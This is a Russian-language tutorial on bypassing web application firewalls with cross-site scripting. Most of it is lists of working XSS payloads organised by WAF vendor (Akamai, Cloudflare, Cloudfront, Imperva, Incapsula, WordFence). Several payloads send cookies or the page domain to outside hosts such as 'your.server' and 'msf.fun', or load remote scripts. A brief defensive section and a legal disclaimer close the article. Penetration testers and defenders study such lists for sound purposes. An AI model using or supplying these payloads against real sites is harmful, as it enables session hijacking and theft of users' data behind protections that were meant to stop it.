✗Обход WAF с помощью XSS-пейлоадов |

✗Обход WAF с помощью XSS-пейлоадов

Мануал

В этом руководстве мы опишем некоторые из техник, которые обычно используются хакерами для обхода фаерволлов веб-приложений (WAF) во время XSS-эксплуатации.

Введение

Web Application Firewall (WAF) являются важнейшими компонентами безопасности, предназначенными для защиты веб-приложений от различных типов атак, включая межсайтовый скриптинг (XSS).

Однако изощренные злоумышленники часто находят способы обойти WAF, особенно когда речь идет о внедрении вредоносных XSS-файлов.

В этой статье мы рассмотрим некоторые техники, используемые для обхода WAF и успешного выполнения XSS.

Понимание XSS и WAF

Межсайтовый скриптинг (XSS) – это тип инъекционной атаки, при которой злоумышленник внедряет вредоносные скрипты в контент, который затем предоставляется пользователям. Эти скрипты могут похищать пользовательские данные, перехватывать сеансы или выполнять несанкционированные действия от имени пользователя.

🐛 Бесплатные инструменты XSS

WAF предназначены для фильтрации и мониторинга HTTP-запросов, блокируя любые вредоносные попытки на основе заранее заданных правил или алгоритмов обучения.

Однако WAF не являются надежными, и злоумышленники постоянно разрабатывают новые методы их обхода.

Распространенные методы обхода WAF

Обфускация

Злоумышленники часто обфусцируют полезную нагрузку XSS, чтобы обойти обнаружение WAF.

Такие приемы, как кодирование полезной нагрузки в различных форматах (например, HTML-сущности, Base64) или разбиение скриптов на комментарии или лишние символы, могут обмануть WAF и заставить его пропустить полезную нагрузку.

<img src=x onerror="/*<![CDATA[*/alert(1)/*]]>*/">

Использование альтернативных обработчиков событий

WAF могут специально фильтровать такие распространенные обработчики событий, как onload или onerror.

Злоумышленники могут использовать менее распространенные обработчики событий, которые могут не входить в набор правил WAF.

<div style="width:expression(alert(1))"></div>

Полезные нагрузки Polyglot :

Polyglot XSS – это полезная нагрузка, которая может быть интерпретирована в нескольких контекстах, что повышает ее шансы обойти WAF.

Такие полезные нагрузки предназначены для выполнения независимо от того, обрабатываются ли они как HTML, JavaScript или другой язык.

<script>/*</script><svg onload=alert(1)>*/

Разделение полезной нагрузки

Разделение полезной нагрузки на несколько частей иногда позволяет избежать обнаружения, поскольку WAF могут неправильно собрать скрипт целиком.

<img src='1' onerror='ja'+'vascript:alert(1)'>

Манипулирование заголовками

Некоторые WAF проверяют определенные HTTP-заголовки на наличие вредоносного содержимого.

Манипулируя заголовками или внедряя их нестандартным образом, злоумышленник может обойти процесс проверки WAF.

GET / HTTP/1.1
Host: victim.com
Content-Length: 0
X-Forwarded-For: '><script>alert(1)</script>

А теперь давайте посмотрим на некоторые пейлоады для обхода waf

XSS Akamai

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert`1``'>
<svg><circle><set onbegin=prompt(1) attributename=fill>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
"%3balert`1`%3b"
asd"`> onpointerenter=x=prompt,x`XSS`
<x onauxclick=import('//1152848220/')>click
<x onauxclick=a=alert,a(domain)>click -@niksthehacker
<x onauxclick=import('//1152848220/')>click
<x onauxclick=import('//xss/')>click
\"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss
{{constructor.constructor(alert`1`)()}}
javascript:new%20Function`al\ert`1``;
https://twitter.com/xhzeem/status/1378316651431612422
https://twitter.com/xhzeem/status/1377992310974218245
<script>Object.prototype.BOOMR = 1;Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script> -https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
"><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click -@stealthybugs

Cloudflare XSS

<a"/onclick=(confirm)()>Click Here!
Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
<--%253cimg%20onerror=alert(1)%20src=a%253e --!>
<a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'>
javascript:{ alert`0` }
1'"><img/src/onerror=.1|alert``>
<img src=x onError=import('//1152848220/')>
%2sscript%2ualert()%2s/script%2u
<svg on onload=(alert)(document.domain)>
<img ignored=() src=x onerror=prompt(1)>
<svg onx=() onload=(confirm)(1)>
“><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
<svg on =i onload=alert(domain) (working)
<svg/onload=location/**/='https://your.server/'+document.domain>
<svg onx=() onload=window.alert?.()> (working)
test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic
"onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic
"><svg%20onload=alert%26%230000000040"1")> (working)- @IamRenganathan
%27%09);%0d%0a%09%09[1].find(alert)//
"><img src=1 onmouseleave=print()> - @itsgeekymonk
<svg on onload=(alert)(document.domain)> -@zapstiko
<svg/on%20onload=alert(1)> (working) -@aufzayed
<img/src=x onError="`${x}`;alert(`Ex.Mi`);"> -@ex_mi

Cloudfront XSS

">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>
">'><details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;

Imperva XSS 

<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme (working)-Pinaki @0xInfection(Make sure to URL encode the payload properly)
tarun"><x/onafterscriptexecute=confirm%26lpar;)// -@sratarun
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click (workin)Pinaki @0xInfection (Make sure the applications decodes the payload from encoded)
<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"> - @xsspayloads
<svg onload\r\n=$.globalEval("al"+"ert()");>
<bleh/onclick=top[/al/.source+/ert/.source]&Tab;``>click Pinaki @0xInfection
<sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</div"> -@AldenAous
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='test'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />tap

Incapsula XSS

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<iframe/onload="var b = 'document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b; this['src']=a">
<audio autoplay onloadstart=this.src='hxxps://msf.fun/?c='+document["cook"+"ie"]' src=x>
<img/src=q onerror='new Function`al\ert`1``'>
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
<svg onload\r\n=$.globalEval("al"+"ert()");>
[1].map(alert) or (alert)(1)
<"><details/open/ontoggle="jAvAsCrIpT&colon;alert&lpar;/xss-by-tarun/&rpar;">XXXXX</a>
[1].find(confirm)
<svg/onload=self[`aler`%2b`t`]`1`>
%22%3E%3Cobject%20data=data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%3E%3C/object%3E
'-[document.domain].map(alert)-'

WordFence XSS

ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli
<meter onmouseover="alert(1)" -@manjith27945363
'">><div><meter onmouseover="alert(1)"</div>" -@manjith27945363
>><marquee loop=1 width=0 onfinish=alert(1)> -@manjith27945363
Wordfence 7.4.2
<a href=&#01javascript:alert(1)> -@brutelogic
<a/href=%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x0a;:alert(1)>please%20click%20here</a>

Лучшие практики для защиты

Хотя понимание того, как злоумышленники обходят WAF, очень важно, ИБ должны постоянно обновлять правила WAF, использовать несколько уровней защиты и регулярно проводить оценку безопасности.

  • Регулярные обновления: Поддерживайте сигнатуры и правила WAF в актуальном состоянии для защиты от новых и возникающих угроз.
  • Глубокая защита: Используйте комбинацию механизмов безопасности (например, проверку ввода, политику безопасности содержимого) наряду с WAF для более эффективной защиты.
  • Тестирование безопасности: Регулярно проводите тестирование на проникновение и оценку безопасности, чтобы выявить и устранить все уязвимости, которые могут быть использованы.

Заключение

Обход WAF с помощью XSS нагрузки требует творческого подхода и глубокого понимания как ограничений WAF, так и самого веб-приложения.

Хотя WAF обеспечивают надежную линию защиты, на них не следует полагаться полностью.

Многоуровневый подход к безопасности в сочетании с постоянным мониторингом и тестированием необходим для защиты от этих сложных атак.

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Добавить комментарий